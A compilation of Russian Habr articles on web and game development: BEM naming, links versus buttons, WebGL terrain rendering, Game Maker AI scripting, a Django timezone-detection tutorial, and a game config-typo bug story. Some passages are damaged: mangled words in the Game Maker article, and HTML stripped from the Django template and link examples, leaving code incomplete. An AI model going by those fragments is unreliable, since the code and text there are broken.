Для этих двух примеров я склоняюсь к тому, чтобы просто сделать компонент `c-navigation`, так как изменение в заданный момент — это то, что он делает. Но это заставило меня задуматься, что на счет списков изображений, которые превращаются в карусель на больших экранах? Это проблемный случай для меня, и, так как он хорошо документирован и прокомментирован, я думаю, что в идеале стоит создать отдельный одноразовый компонент для этого типа интерфейса, с понятным названием (таким как `c-image-list-to-carousel`).
Гарри Робертс [упоминал об отзывчивых префиксах](http://csswizardry.com/2015/08/bemit-taking-the-bem-naming-convention-a-step-further/), одном из способов управлять этим. Его подход предназначен больше для изменений в макете и написания стилей, а не сдвигая все компоненты, но не вижу причин, по которым мы не можем применить эту технику здесь. Таким образом, вы можете назвать классы так:
В дальнейшем это будет жить в ваших медиа-запросах для соответствующих размеров экрана.
Совет: Вам придется отключать `@` с помощью обратной косой черты, как тут:
```
.c-image-list\@small-screen {
/* стили тут */
}
```
У меня не было причин для создания таких компонентов, но этот способ выглядит очень дружелюбным по отношению к разработчику. Другому человеку должно быть достаточно просто понять ваши намерения. Но я не пропагандирую такие имена, как `small-screen` и `large-screen` — они использованы только для улучшения читаемости.
### Заключение
БЭМ оказался спасением для меня в моем стремлении к созданию модульных приложений компонентным способом. Я использую его уже почти 3 года, и проблемы, перечисленные выше, были камнями преткновения на моем пути. Я надеюсь, что эта статья покажется вам полезной, и, если вы еще не пользуетесь БЭМ, я очень сильно рекомендую вам начать это делать.
*Обо всех ошибках (грамматических, лексических и т.д.) пишите в комментарии, буду рад их исправить. Спасибо за внимание* | https://habr.com/ru/post/305548/ | null | ru | null |
# Используйте ссылки и кнопки правильно. Пожалуйста
При вёрстке макета не всегда понятно, что перед нами — кнопка или ссылка. Внешне эти элементы могут быть очень похожи, но их функции различаются и браузер реагирует на них по-разному. Поэтому неправильный выбор может привести к ошибкам в работе сайта.
### Почему возникает проблема
**Ссылка — это элемент навигации.** Обычно она представляет собой текст, нажимая на который, пользователь переходит на другую страницу или перемещается к другому месту на текущей странице. То есть ссылка отвечает за взаимосвязь веб-ресурсов или разделов одного ресурса.
Ссылки создаются с помощью тега .
`[HTML Academy](https://htmlacademy.ru)`
**Кнопка — это функциональный элемент.** Она отвечает за выполнение определённой функции: добавить в корзину, купить, отправить, проголосовать и т. д.
Для кнопок используют тег .
`9 900 руб.`
Проблемы возникают, когда внешне кнопка очень похожа на ссылку — текст без плашки, или ссылка напоминает кнопку — текст расположен на фоне прямоугольной плашки.
Пример двух кнопок, где нижняя похожа на ссылкуПример ссылки, похожей на кнопку### Что случится, если вместо ссылки сделать кнопку
Если URL-адрес обернуть не `<а>`, а тегом , то при нажатии пользователя на правую кнопку мыши браузер предложит выполнить действия, которые положены при клике на кнопку. Адрес нельзя будет открыть в новой вкладке или отправить через контекстное меню.
Контекстное меню при клике правой кнопкой мыши на кнопкуТакая кнопка не позволит открыть страницу в новой вкладке и через комбинацию клавиш — Ctrl и левая кнопка мыши.
При наведении курсора на правильную ссылку её адрес появляется внизу окна браузера. URL-адрес, обёрнутый в , не отобразится.
Адрес правильной ссылки в окне браузера при наведении на неё курсора### Что произойдёт, если вместо кнопки сделать ссылку
Когда мы кликаем на ссылку правой кнопкой, браузер показывает, что можно сделать именно со ссылкой.
Контекстное меню при клике правой кнопкой мыши на ссылкуЕсли функциональный элемент обернуть тегом , то при клике правой кнопкой мыши всплывающее окно будет как у ссылки, но оно не будет иметь смысла. Такая «ссылка» не имеет корректного адреса, а значит открыть, сохранить, копировать её или поделиться ею невозможно.
`[На самом деле это кнопка](javascript:;)`
При наведении курсора на псевдоссылку внизу окна браузера появится не адрес, а `javascript:;` или `АдресТекущейСтраницы/#`.
### Как определить элемент по макету
Конкретные указания часто прописывают в техническом задании к макету. В стайлгайде самого макета можно посмотреть состояния элемента.
У ссылки должны быть стили для состояния покоя, при наведения курсора `:hover`, в момент нажатия `:focus`, активного :active и иногда состояния, когда пользователь уже посещал эту страницу `:visited`.
У кнопки нет состояния `:visited`, зато есть состояние блока `:disabled`.
Состояния ссылок в стайлгайде макетаОднако рассчитывать только на макет не нужно. У ссылки может не быть `:visited`, а у блока `:disabled` — это может запутать.
[Забудьте про div – семантика спасёт интернет](https://habr.com/ru/company/htmlacademy/blog/546500/)
### Всё-таки кнопка или ссылка?
Если дизайнер по каким-то причинам не отрисовал состояния вообще, то придётся руководствоваться одной логикой.
| | | |
| --- | --- | --- |
| | **Ссылка** | **Кнопка** |
| **За что отвечает** | Навигация, т. е. пользователь перемещается на другую часть страницы или на новую страницу. | Выполнение какой-либо функции без перехода на другую страницу — добавить в корзину, купить, отправить, проголосовать, войти и т. д. |
| **Что видит пользователь** | При наведении курсора на ссылку внизу окна браузера возникает её адрес.Через меню по клику правой кнопкой мыши можно скопировать, отправить, открыть ссылку в новой вкладке. | При наведении курсора на ссылку внизу окна браузера не отображается адрес.Через меню по клику правой кнопкой мыши нельзя скопировать адрес или поделиться им. |
### Пример, чтобы расставить всё по своим местам
На макете отрисована фраза «Войти». Если клик по ней должен открывать окно для ввода регистрационных данных на этой же странице, это кнопка. Если при нажатии должна открываться отдельная страница для входа, это ссылка.
#### Другие великие противостояния
* [Как ставить пустые ссылки: 7 способов](https://htmlacademy.ru/blog/boost/frontend/empty-links?utm_source=habr&utm_medium=special&utm_campaign=links090621)
* [Абсолютные и относительные ссылки](https://htmlacademy.ru/blog/boost/frontend/links?utm_source=habr&utm_medium=special&utm_campaign=links090621)
* [Когда использовать флексы, а когда гриды](https://htmlacademy.ru/blog/boost/frontend/flexbox-vs-grid?utm_source=habr&utm_medium=special&utm_campaign=links090621)
* [Что лучше — табы или пробелы?](https://htmlacademy.ru/blog/boost/frontend/tab-vs-space?utm_source=habr&utm_medium=special&utm_campaign=links090621)
---
Ссылки ссылками, а промокод `VESELO` даст приятную скидку на любой профессиональный курс в HTML Academy. Например, на курс [«Анимации для фронтендеров»](https://htmlacademy.ru/intensive/animation?utm_source=habr&utm_medium=special&utm_campaign=links090621) можно записаться в любой момент, а пользы для карьеры будет целый вагон. | https://habr.com/ru/post/561892/ | null | ru | null |
# Рендер ландшафта в WebGL — 2
#### Часть вторая
Приветствую в серии статей о WebGL рендринге ландшафта, используемом в игре [Trigger Rally](https://triggerrally.com/)!
Если еще не успели, то прочитайте [первую часть](http://habrahabr.ru/post/194592/), в которой я рассказываю о важности минимизации передачи данных между процессором и видеокартой, а также предлагаю хранить статические данные о высоте каждой точки ландшафта в текстуре.
В этой статье я расскажу об структуре данных вершин, а так же о морфинге.
*От переводчика: в статье много косноязычия и технических неточностей. Помогите их исправить!*
##### Кольца
Geoclipmap рендринг оперирует с квадратными «кольцами» вокруг точки обзора, причем каждое кольцо в два раза больше предыдущего, но имеет в два раза меньшее разрешение. Благодаря этому мы видим плавное уменьшение количества вершин на единицу плоскости, по принципу: дальше — меньше. Внутренне кольцо полностью заполнено и имеет наивысшее разрешение, становясь простой квадратной сеткой треугольников:
Повторяющуюся геометрию можно транслировать без особо заметных изменений, но будет казаться, что края немного переместились:
Мы можем использовать это свойство, для того что бы сдвигать геометрию относительно камеры.
Так как каждое кольцо треугольников имеет собственный размер, а от размера зависит расстояние для переноса, мы должны перемещать кольца независимо друг от друга. Следовательно, вершинный шейдер должен знать, какой именно слой вершин он перемещает, что бы изменять его правильно.
В общем, нам нужно знать такие параметры вершин:
* Положение по оси X
* Положение по оси Y
* Номер слоя
В Trigger Rally мы используем [X,Y,Z] вектор, а так же получаем номер слоя, в котором находится вершина, согласно ее положению по оси Z.
##### Зашивание дыр
Каждое кольцо имеет собственный масштаб, кроме того, каждое кольцо сдвигается на величину зависящую от масштаба. Таким образом может возникнуть проблема — одно кольцо транслировано, а ему соседнее нет и между ними образуется зазор:
Один из способов решения этой проблемы состоит в том, что бы дополнительно наращивать на край кольца «юбку». Согласно [этой статье](http://research.microsoft.com/en-us/um/people/hoppe/gpugcm.pdf), юбка собирается из множества маленьких кусочков, для этого используется несколько буферов вершин и сложная процессорная логика. А нам ведь этого совсем не хочется!
При реализации ландшафта в Trigger Rally, я провела часы, пытаясь найти производительный и качественный способ собирать юбку, но увы, безрезультатно.
Но на последнем WebGL Camp Europe я встретила [Florian Bösch](http://codeflow.org/), и он предложил сделать кольца немного больше, тем самым позволяя им пересекаться.
Сейчас любой более-менее опытный программист графики начнет вопить: «Нет! Нельзя допускать пересечения геометрии! Это расточительно и могут появиться [жуткие](http://en.wikipedia.org/wiki/Z-fighting) артефакты!». Но на самом деле все не так плохо — нам действительно придется рисовать немного больше, но если геометрия хорошо подогнана, то это действительно отличное решение!
##### Морфинг
На границе колец мы имеем геометрию одного разрешения, которая соприкасается с геометрией имеющей размер в два раза меньший. Нам нужно сделать переходные области на краю каждого кольца, в которых геометрия будет плавно «перетекать» из высокого разрешения в низкое, так что бы край одного кольца строго совпадал с краем другого.
Вот так каждая вершина должна быть перемещена для соответствия следующему кольцу:
Мы должны делать это в вершинном шейдере. Самый просто способ заключается в том, что бы включить вектор морфинга в структуру данных вершины, но, снова таки, Florian предложил кое что получше — использовать [модульную арифметику](http://ru.wikipedia.org/wiki/%D0%A1%D1%80%D0%B0%D0%B2%D0%BD%D0%B5%D0%BD%D0%B8%D0%B5_%D0%BF%D0%BE_%D0%BC%D0%BE%D0%B4%D1%83%D0%BB%D1%8E)!
Чтобы показать, как это работает, давайте представим данные в виде таблицы:
Таким образом мы можем вычислить вектор морфинга, имея только координаты вершин, воспользовавшись таким GLSL кодом:
`vec2 morphVector = mod(position.xy, 2.0) * (mod(position.xy, 4.0) - 2.0);`
И это все без дополнительных свойств в структуре вершин! (*прим. пер.: снимаю шляпу перед этим Florian*)
##### Дальше будет...
В следующем посте, я расскажу о том, как в Trigger Rally хранится карта высот и как она обрабатывается в вершинном шейдере. Потом мы рассмотрим surface shading в шейдере фрагментов, ну и наконец как эффективнее рендрить окружение.
**Спасибо за чтение!** | https://habr.com/ru/post/194632/ | null | ru | null |
# Game Maker AI — С чего начать?
**Game Maker** — платформа разработки (в начальной концепции 2D) игр. На данный момент наиболее популярны Game Maker 8.0\8.1 и Game Maker Studio. Последний, к слову, поддерживает кросс-платформенную разработку (что, наверное, и является почти единственным фактором выживания движка в целом).
В последнее время GM теряет свою популярность под тенью таких гигантов, как Unity3D/Cryengine/Unreal. Я считаю потерю спроса на этот движок совершенно необоснованной, ведь для создания многих игр (например, под Android) нет необходимости в последних технологиях разработки 3D и других «ненужных» функциях, очень требовательных к системе пользователя. При использовании Game Maker для разработки таких игр можно достичь достаточно высокой производительности без видимых жертв со стороны графики или функционала.
Итак, ближе к делу. С некоторых пор я занимаюсь разработкой игр в среде GM. И в один прекрасный день передо мной возникла интереснейшая задача — разработать приемлемый AI для игры жанра TDS (Top Down Shooter). Признаться, до того момента я не сталкивался с разработкой искусственного интеллекта, и задача поначалу просто поставила меня в тупик. Три последующих дня я провел в поиске решения (естественно, методом проб и ошибок), и узнал я за эти 3 дня довольно много. На основе своего короткого и болезненного опыта, я постараюсь описать основные методы и сторонние библиотеки по разработке AI в среде Game Maker.
##### Встроенные средства Game Maker
Несомненно, GM предлагает собственные средства разработки AI (на которых в последствии и строятся сторонние библиотеки). Именно с них я и начал свое путешествие в мир Искусственного Интеллекта. В эти средства входят функции поиска пути, расстояния и угла направления, а также функции проверки столкновений (на мой взгляд, самое полезное из всего вышеперечисленного).
Небольшая классификация функций GM:
###### Перемещение
```
mp_potential_step(x,y,stepsize,checkall) //перемещение к точке (x,y) со скоростью (размером шага) stepsize
//checkall указывает, обрабатывать столкновения только с твердыми объектами (0), или же со всеми (1)
mp_linear_step_object(x,y,stepsize,obj) //аналог предыдущей функции. Различие в том, что столкновения будут обрабатываться лишь с объектами класса obj
```
Как по мне — очень полезные функции, пусть и далеко не всегда. При их использовании следует учитывать несколько моментов:
Во первых, маску столкновений объекта (параметры устанавливаются в настройках спайта объекта).
Во вторых, категорически не советую использовать данные функции для поиска сложных путей (к примеру, в лабиринте). Как правило, в таких случаях исполнитель «втыкается» в первый же объект и пытается пройти сквозь него.
Данные функции *стоит* применять при поиске короткого пути на участке без большого количества твердых объектов.
```
mp_potential_path(path,xg,yg,stepsize,factor,checkall) //функция идентична предыдущим с одним лишь различием - если в прошлых функциях расчет происходит "от шага к шагу", то здесь рассчитывается полный путь до объекта (который записывается в идентификатор path). Функция возвращает истину в том случае, если путь был найден
```
У данной функции есть одно большое преимущество перед предыдущими — если поиск пути завершится неудачей, движения не происходит. Это оградит исполнителя от «втыкания в стену». Минус же собственно в том, что эта функция возвращает готовый путь, который должен пройти исполнитель. Это нельзя однозначно назвать минусом, но, скажем, во время боя использовать пути крайне накладно и неудобно.
*Метод сетки:*
> Метод базирующийся на сетке — очень мощный инструмент (и используется в основном в профессиональных играх), но он требует, чтобы Вы проделывали всё это, мысля очень осторожно. Вы должны определить, какая область и размер ячейки будет соответствовать оптимальному решению для Вашей игры. Также Вы должны определить, какие объекты должны иметь точную проверку столкновений, это важное значение. Все эти параметры сильно влияют на эффективность метода.
>
>
— цитата из справки по GM
И вправду, сетка — очень удобный инструмент при проектировании путей. Она намного более надежна, чем тот же potential\_path (поскольку всегда находит путь, если он есть). фыприемов работы с сеткой ушла бы целая статья, поэтому постараюсь ограничиться «минимумом»:
```
mp_grid_create(left,top,hcells,vcells,cellwidth,cellheight)
```
Функция создает сетку и возвращаецов
cellwidth,cellheight — размеры ячейки
После создания сетки стоит добавить запрещенные для прохождения зоны. Я пользовался для этого довольно простой функцией:
```
mp_grid_add_instances(id,obj,prec) //делает "запрещенными" все ячейки, которые пересекает объект с идентификатором obj, prec определяет, делать ли точную проверку для спрайта объекта, id - идентификатор сетки из предыдущей функции
```
Очень удобная функция, поскольку при разработке игр всем «твердым» объектам, через которые нельзя проходить, ставят общий родительский объект. Если указать в вызове данной функции этот объект — все дочерние объекты также будут проверены.
Итак, у нас есть сетка с непроходимыми зонами. Теперь дело за малым — рассчитать путь для нашего исполнителя:
```
mp_grid_path(id,path,xstart,ystart,xgoal,ygoal,allowdiag) //рассчитывает путь из точки (xstart,ystart) в точку (xgoal,ygoal) и записывает его в идентификатор path. allowdiag - может ли объект перемещаться по диагоналям (не только вертикально и горизонтально)
```
Наш путь готов, если он конечно существует. Минус все тот же — это путь (пусть и более правильный, точный, безотказный путь), и ничего тут не поделаешь.
Первое время мне очень понравился метод сетки, и он имеет право на жизнь, но не в игре моего жанра (в большинстве случаев). В бою этот метод также не применим, как и potential\_path. Зато таким образом можно составлять пути для патрулирования вне боя, или, например, поиск игрока после потери из виду.
###### Определение расстояния и направления
Здесь все довольно просто, за это отвечает всего пара функций:
```
point_distance(x1,y1,x2,y2) //возвращает расстояние между точкой (x1,y1) и точкой (x2,y2)
point_direction(x1,y1,x2,y2) //возвращает направление от точки (x1,y1) до точки (x2,y2) в градусах
```
Конечно, это не единственные функции для работы с расстоянием и направлением, но в большинстве случаев их вполне достаточно. Также в процессе поиска обнаружил любопытный скрипт, определяющий различие между направлениями в градусах (очень полезно при проверке наличия противника в поле зрения исполнителя):
```
//argument0 - первое направление
//argument1 - второе направление
var diff;
diff = (argument1 - argument0) mod 360;
if diff < 0
diff += 360;
if abs(diff) > 180
return (360 - abs(diff)) * -sign(diff);
else
return diff;
```
###### Проверка столкновений
Существует несколько (похожих) функций для определения столкновений объектов друг с другом. Вряд ли их можно использовать для определения пути, зато, скажем, при реализации стрельбы (любого вида стрельбы) они просто незаменимы.
```
collision_point(x,y,obj,prec,notme) //проверяет, есть ли в точке (x,y) столкновение с объектом obj. prec - точная проверка, notme - не проверять вызвавший объект(1)
collision_line(x1,y1,x2,y2,obj,prec,notme) //похожая функция. Разница лишь в том, что столкновение проверяется на прямой от точки (x1,y1) до (x2,y2)
collision_circle(xc,yc,radius,obj,prec,notme) //определяет наличие столкновения внутри окружности с центром в точке (xc,yc) и радиусом radius
```
На мой взгляд, данные функции не нуждаются в дополнительном объяснении. Могу лишь сказать, что ими удобно пользоваться при реализации стрельбы, или радара, или некой системы наведения для AI.
##### Сторонние библиотеки
Наконец-то, встроенные средства GM позади, и можно пуститься в свободное плавание — в мир библиотек. Хотя не все настолько радужно, ибо библиотек для разработки AI не так уж много. Попробую перечислить все, что мне удалось найти.
###### TDS AI Lib
TDS AI — незамысловатое название для библиотеки, предназначенной для разработки AI в играх жанра TDS. На деле же это просто набор достаточно часто используемых функций, встраиваемых прямо в интерфейс GM.
Функционал TDS AI:
В обращении библиотека достаточно проста (при минимальных знаниях английского разумеется). С помощью данной библиотеки исполнителя можно «научить» таким вещам, как *поворот в сторону объекта*, *следование за объектом*, *уклонение от объекта* (возможно, имеет смысл использовать даже для уклонения от выстрелов), *проверка расстояния до объекта и наличие его в поле зрения*, а также *random-ное перемещение*.
На этом и заканчивается функционал библиотеки. Вердикт: удобно, просто в использовании, но недостаточно. Ведь AI — не просто набор функций.
*\*ссылку на библиотеку можно найти в конце статьи*
###### Behaviour Tree AI
После TDS AI я наткнулся еще на несколько библиотек и примеров, но ни один из них не заслужил внимания в этой статье. Честно говоря, я был в отчаянии — неужели мне придется самому разрабатывать систему AI (удобную, расширяемую систему)? От подобной мысли веяло ужасом, поскольку у меня не было ровно никакого опыта в разработке искусственного интеллекта.
Но вот случилось чудо, и совершенно случайно я наткнулся на этот шедевр. По началу я не до конца понял его смысл, но мне стало интересно. Я скачал исходник с примером, и после получаса изучения кода я понял, что ко мне попало нечто действительно уникальное. Behaviour Tree — не просто набор полезных функций, это целая система для разработки AI. Именно здесь реализован структурный подход к созданию ИИ, необходимый для удобной работы и расширения.
На описание возможностей BT AI уйдет целая статья. Тем более, такая статья уже есть, ссылку на нее можно найти в конце моей статьи. Исходя из этого, я постараюсь объяснить лишь основы.
Итак, в чем же суть? Как я уже говорил, суть в структурном подходе. AI, основанный на данной библиотеке, строится по следующей схеме:
1. Выбирается исполнитель
2. Создается главный скрипт AI. В данном скрипте и происходит выполнение функций в зависимости от условий
3. Создается скрипт обновления, необходимый для постоянного обновления параметров, используемых в главном скрипте (например, в бою ли исполнитель, его HP и другие параметры)
4. В событии создания исполнителя устанавливаются главный скрипт и скрипт обновления
5. В событии шага (своеобразный постоянный таймер) исполнителя вызывается функция повторения скрипта
Главный скрипт работает по системе *выбор-условие-действие* (selector-condition-action).
* **Выбор** — своеобразный аналог оператора *switch()* в языках программирования. В «теле» элемента выбора происходит выбор одного из заданных наборов действий в зависимости от условия.
* **Условие** — проверка истинности заданного условия. Используется в начале каждого набора действий внутри элемента выбора. Если условие истинно — выполняется данный набор действий и выбор завершается. Если нет — происходит переход к следующему набору действий
* **Действие** — скрипт, запускающий другой скрипт (действие) с заданными параметрами. *\*В BT AI существует понятие базовых действий. Подробнее о них можно узнать в той же статье по ссылке ниже*.
Небольшой пример главного скрипта BT AI:
```
SelectorBegin('AI Role 1');
SequenceBegin('Атака');
//видим врага и знаем его id
Condition(SeeEnemy && Enemy>0);
//смомтрим на него
Action( Action_LookAt, point_direction(x,y, Enemy.x, Enemy.y));
//стреляем в сторону врага 2 раза
Action( Action_Shoot, point_direction(x,y, Enemy.x, Enemy.y), 2);
SelectorBegin('Подходим на оптимальное растояние');
//или
SequenceBegin('Враг слишком далеко');
Condition(point_distance(x,y, Enemy.x, Enemy.y)>256);
Action(Action_MoveTo, Enemy.x-lengthdir_x(128, direction), Enemy.y-lengthdir_y(128, direction), highSpeed);
SequenceEnd();
//или
SequenceBegin('Враг слишком близко');
Condition(point_distance(x,y, Enemy.x, Enemy.y)<64);
//идем назад
Action(Action_MoveTo, x-lengthdir_x(64, direction), y-lengthdir_y(64, direction), highSpeed);
SequenceEnd();
SequenceBegin('маневр');
//иначе просто маневрируем, чтобы сложнее было попасть
Action( Action_MoveTo, x+irandom_range(-64, 64), y+irandom_range(-64, 64), highSpeed);
SequenceEnd();
SelectorEnd();
//стреляем в сторону врага 4 раза
Action(Action_Shoot, point_direction(x,y, Enemy.x, Enemy.y), 2);
SequenceEnd();
SelectorEnd();
```
Selector — оператор выбора набора действий
Sequence — набор действий
Condition — проверка условия
Action — действие. вызов скрипта(первый аргумент) с параметрами (остальные аргументы)
##### Заключение
Напоследок готов повторить, что Behaviour Tree — лучшая моя находка в сфере AI для Game Maker, и я горячо советую ее к использованию. Именно на ней реализован тот самый AI, который мне нужно было сделать.
Глупо будет отрицать, что существует множество других систем для разработки искусственного интеллекта, и многие из них могли просто пройти мимо моего внимания. Буду очень рад ценным дополнениям к моей статье, а также указаниям на мои ошибки, если они есть.
Благодарю за внимание!
##### Ссылки
* [TDS AI Lib](http://game-maker.ru/infusions/pro_download_panel/download.php?did=1532)
* [Behaviour Tree AI](http://forum.gmaker.su/forum/15-4997-2) | https://habr.com/ru/post/196140/ | null | ru | null |
# Автоматическое определение часового пояса пользователя
*Мужик сидит, слушает радио.
— В Москве полночь, в Благовещенске 6 утра, во Владивостоке, Хабаровске, Южно-Сахалинске 7, в Магадане 8, в Петропавловске-Камчатском 9 часов.
Мужик сидит, сидит, потом встаёт, и с некоторым сожалением произносит:
— Эх, ну и бардак же у нас в стране!
Текст перепечатан с аудиозаписи позывных «Маяка».
Для справки: в Петропавловске-Камчатском теперь UTC+11 (летом UTC+12), поэтому теперь в полночь по московскому времени там было бы 8 часов, а не 9.*
Во многих местах на сайтах отображается время. И во многих случаях лучше всего отображать не время по Гринвичу, не время на сервере, а время в часовом поясе пользователя.
Часто предлагается выбрать свой часовой пояс из огромного списка возможных вариантов. Конечно, возможность приятная, но удобнее, если сайт может определить часовой пояс пользователя сам. А сделать это, как можно догадаться, совсем несложно — достаточно получить локальное время и отступ от UTC с помощью JavaScript и передать этот отступ на сервер с помощью XMLHttpRequest.
Вперёд, попробуем
=================
Создадим новый Django-проект. Назовём его tep — timezone experiment project.
django-admin startproject tep
Добавим новое приложение.
cd tep/
python manage.py startapp whattimeisit
Теперь откроем settings.py и добавим в начале:
import os
SITE\_ROOT = os.path.dirname(os.path.realpath(\_\_file\_\_))
Теперь укажем путь до директории шаблонов:
TEMPLATE\_DIRS = (
os.path.join(SITE\_ROOT, 'templates'),
)
И добавим наше приложение в список установленных:
INSTALLED\_APPS = (
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.sites',
'django.contrib.messages',
# Uncomment the next line to enable the admin:
# 'django.contrib.admin',
'whattimeisit',
)
А также укажем базу данных:
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3', # Add 'postgresql\_psycopg2', 'postgresql', 'mysql', 'sqlite3' or 'oracle'.
'NAME': 'database', # Or path to database file if using sqlite3.
}
}
И, конечно же, создадим директорию шаблонов, которую мы указали в settings.py.
mkdir templates/
И выполним syncdb.
python manage.py syncdb
В директории шаблонов создадим шаблон index.html.
`Время
<br/>
$(document).ready(function(){<br/>
var time\_zone = (new Date().getTimezoneOffset()/60)\*(-1);<br/>
var dateoffset = time\_zone\*60\*60\*1000;<br/>
$('span.please\_parse').each(function() {<br/>
var date = new Date($(this).text());<br/>
date.setTime(date.getTime() + dateoffset);<br/>
$(this).text(date.toLocaleString());<br/>
});<br/>
$.post('/please\_set\_timezone', { 'offset': time\_zone });<br/>
});<br/>
{% if local\_time %}
Сейчас **{{ local\_time }}**.
{% else %}
Сейчас **{{ time }}**.
{% endif %}`
Теперь создадим директорию для статических файлов.
mkdir media/
urls.py в итоге вот такой:
`from django.conf.urls.defaults import *
import os
from settings import SITE_ROOT
# Uncomment the next two lines to enable the admin:
# from django.contrib import admin
# admin.autodiscover()
urlpatterns = patterns('',
# Example:
# (r'^tep/', include('tep.foo.urls')),
# Uncomment the admin/doc line below and add 'django.contrib.admindocs'
# to INSTALLED_APPS to enable admin documentation:
# (r'^admin/doc/', include('django.contrib.admindocs.urls')),
# Uncomment the next line to enable the admin:
# (r'^admin/', include(admin.site.urls)),
(r'^static/(?P.\*)$', 'django.views.static.serve', {'document\_root': os.path.join(SITE\_ROOT, 'media')}),
(r'^$', 'whattimeisit.views.index'),
(r'^please\_set\_timezone$', 'whattimeisit.views.please\_set\_timezone'),
)`
В директорию media/ нужно загрузить jQuery. Я сохранил в эту директорию jquery-1.4.2.min.js.
А views.py получился вот такой:
`# Create your views here.
from django.http import HttpResponse, HttpResponseRedirect
from django.core.urlresolvers import reverse
from django.shortcuts import render_to_response
from datetime import datetime
from datetime import timedelta
def please_set_timezone(request):
if request.is_ajax():
timezone_offset = request.POST.get('offset', False)
if timezone_offset:
request.session['timezone_offset'] = timezone_offset
message = "OK"
return HttpResponse(message)
return HttpResponseRedirect(reverse('whattimeisit.views.index'))
def index(request):
time = datetime.utcnow()
timezone_offset = request.session.get('timezone_offset', False)
if timezone_offset:
offset = timedelta(hours=int(timezone_offset))
local_time = time+offset
local_time_string = local_time.strftime("%d.%m.%Y %H:%M:%S")
else:
local_time_string = False
time_string = time.strftime("%m/%d/%Y %H:%M:%S")
return render_to_response("index.html", {'time': time_string, 'local_time': local_time_string,})`
Вот, собственно, и готово. Теперь можно запустить сервер и посмотреть результат.
python manage.py runserver
А вот сходу ещё идея. На основе автоматически определённого часового пояса сокращать список стран и городов для выбора. Разумеется, с возможностью показа полного списка — поскольку, по-первых, автоматика может ошибаться (если, например, время на компьютере пользователя установлено неправильно), во-вторых, пользователь может просто по каким-то причинам временно находиться в другой стране или в другом городе.
Этот метод хорош тем, что даже если у пользователя не принимаются cookies, у него всё равно будет показываться время в его часовом поясе с помощью JavaScript. Если же cookies у него включены, то со второй страницы сервер сам будет выдавать ему его локальную дату. | https://habr.com/ru/post/102506/ | null | ru | null |
# В конфиге Aliens: Colonial Marines нашли опечатку, из-за которой четыре года глючил игровой ИИ
Вышедшую в 2013 году игру *Aliens: Colonial Marines* для персональных компьютеров [не очень хорошо встретила публика](https://www.resetera.com/threads/aliens-colonial-marines-collection-is-2-80-right-now-wait-hear-me-out.54701/). Игровые критики [не могли понять](https://arstechnica.com/gaming/2013/04/sega-forced-to-admit-wrongdoing-in-alien-colonial-marines-advertising/), почему многообещающая игра, которая отлично смотрелась в предварительных версиях, превратилась в неюзабельный «плохо спроектированный, глючный кусок мусора» (цитата из одного обзора).
Впоследствии издатели столкнулись даже с [судебным исками](https://arstechnica.com/gaming/2014/07/gearbox-responds-to-aliens-class-action-lawsuit-throws-sega-under-bus/) от покупателей игры по очень редкой для игровой индустрии причине. Пользователи требовали вернуть уплаченные деньги, потому что «игра дерьмо».
И только спустя четыре года стало понятно, в чём корень проблем. 1 ноября 2017 года один из разработчиков модов под ником *jamesdickinson963* [нашёл опечатку](https://www.moddb.com/mods/templargfxs-acm-overhaul/news/the-biggest-bug-in-the-game-is-just-one-letter-long) в конфигурационном файле .INI, после исправления которой игровой процесс [улучшается кардинальным образом](https://www.pcgamer.com/all-this-time-aliens-colonial-marines-stupid-ai-may-have-been-caused-by-a-single-typo/). Достаточно удалить лишнюю букву.
Моддер *jamesdickinson963* называет это «крупнейшим игровым багом размером всего в одну букву». И подробно объясняет, в чём проблема.
В конфигурационном файле игры (My Document\My Games\Aliens Colonial Marines\PecanGame\Config\PecanEngine.ini) есть следующая строчка кода:
`ClassRemapping=PecanGame.PecanSeqAct_AttachXenoToTether -> PecanGame.PecanSeqAct_AttachPawnToTeather`
Зная о наличии опечатки, вы можете и сами её увидеть, глядя на эту строчку.
Правильное написание следующее:
`ClassRemapping=PecanGame.PecanSeqAct_AttachXenoToTether -> PecanGame.PecanSeqAct_AttachPawnToTether`
(Teather -> Tether)
«Если исправить строчку таким образом и снова запустить игру, то отличия абсолютно сумасшедшие!», — пишет *jamesdickinson963*. Причина в следующем. Дело в том, что изначальная функция AttachXenoToTether вообще ничего не делает, а вот функция AttachPawnToTether делает очень многое для управления настройкой тактического позиционирования, патрулирования и зонирования мишеней.
Когда спаунится Xeno, он привязывается к определённой границе (zone tether). Эта зона указывает Xeno на границы зоны боевых действий, на координаты разных выходов. Во время битвы Xeno нужно переключить на другую зону для разных манёвров — чтобы собраться в фалангу или, например, разойтись и не кучковаться в одной группе. Так вот, что бы из перечисленного не пыталась сделать игра, раньше ничего не происходило. А после исправления опечатки всё заработало, говорит *jamesdickinson963*.
Игра не вылетала с ошибкой, потому что движок просто игнорировал незнакомый термин.
Издание *PC Gamer* [приводит примеры](https://www.pcgamer.com/all-this-time-aliens-colonial-marines-stupid-ai-may-have-been-caused-by-a-single-typo/), насколько разительно изменилось поведение монстров в игре. Они стали не только заметно агрессивнее, но как будто гораздо лучше стали отслеживать поведение игрока. Если раньше вы могли отступить от ксеноморфа — и это ставило его в тупик, то теперь такой фокус не проходит, потому что он сразу начнёт преследовать вас. Кроме того, ксеноморфам теперь требуется намного меньше времени для подготовки нападения: они появляются и резко нападают, а не тыкаются в разные стороны словно зомби, как раньше. «Движения больше похожи на прямые движения по кратчайшему пути, а не на обычную пьяную походку», — пишет *PC Gamer*.
*Походка ксеноморфа в игре Aliens: Colonial Marines. Вскоре после публикации этого видео против издателя стали подавать первые судебные иски*
В Steam игра до сих пор распространяется с опечаткой в конфиге, так что нужно ставить сторонний патч или исправлять опечатку вручную.
В истории игровой индустрии это не первый баг из-за опечатки. Недавно разработчики Civilization 6 [подтвердили](https://www.pcgamer.com/typos-in-a-civilization-6-data-file-are-messing-with-the-ais-priorities/), что из-за опечатки в одном из игровых файлов с данными Leaders.xml «искусственный интеллект» неправильно работал. В том случае в коде по ошибке было написано 'YEILD' вместо 'YIELD'. Вот соответствующий фрагмент:
```
```
